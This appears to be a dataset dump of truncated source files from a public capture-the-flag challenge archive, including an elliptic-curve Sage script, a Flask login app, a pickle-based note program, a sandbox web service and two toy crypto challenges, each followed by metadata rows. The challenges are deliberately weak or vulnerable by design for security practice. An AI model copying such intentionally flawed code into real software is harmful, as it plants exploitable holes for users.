#!/usr/bin/sage from sage.all import GF, EllipticCurve, PolynomialRing import hashlib import json import sys import re # curve and fields p = 7691 field_size = 641 Fp = GF(field_size) Fq = GF(p) Eq = EllipticCurve(Fq, [0, 1]) Fqr = Fq['r'] r = Fqr.gen() Fq_2 = GF(p**2, modulus=r**2 + 1, name='v') v = Fq_2.gen() ExtEq ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2025/web/emojicrypt/app.py
ctfs/squ1rrel/2025/web/emojicrypt/app.py
from flask import Flask, request, redirect, url_for, g import sqlite3 import bcrypt import random import os from dotenv import load_dotenv load_dotenv() app = Flask(__name__, static_folder='templates') DATABASE = 'users.db' EMOJIS = ['πŸŒ€', '🌁', 'πŸŒ‚', '🌐', '🌱', 'πŸ€', '🍁', 'πŸ‚', 'πŸ„', 'πŸ…', '🎁', 'πŸŽ’', 'πŸŽ“', '🎡', '...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Blaze/2018/secret_pickle.py
ctfs/Blaze/2018/secret_pickle.py
#!/usr/bin/env python3 import pickle import hashlib import os import sys class Note: def __init__(self, name, date, content): self.name = name self.date = date self.content = content def prints(self): print() print('-'*5 + self.name + '-'*5) print('Date: ' + self...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/MeePwn/2018/Quals/babysandbox/baby_sandbox.py
ctfs/MeePwn/2018/Quals/babysandbox/baby_sandbox.py
from __future__ import print_function from flask import Flask, Response, render_template, session, request, jsonify, send_file import os from subprocess import run, STDOUT, PIPE, CalledProcessError from base64 import b64decode, b64encode from unicorn import * from unicorn.x86_const import * import codecs import time a...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UCTF/2024/crypto/Rasa/challenge.py
ctfs/UCTF/2024/crypto/Rasa/challenge.py
from Crypto.Util.number import bytes_to_long as b2l, getPrime flag = b'uctf{test_flag}' p = getPrime(1024) q = getPrime(1024) n = p*q m1 = b2l(b'There were a mysterious underground cemetery found in Tabriz about 10 years ago near Blue Mosque while worker were digging in nearby locations') m2 = b2l(b'It is an unknow...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UCTF/2024/crypto/Modal_2/challenge.py
ctfs/UCTF/2024/crypto/Modal_2/challenge.py
from secret import flag p = 4066351909 for f in flag: print((ord(f)*2022684581 - 127389238) % p, end=",")
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false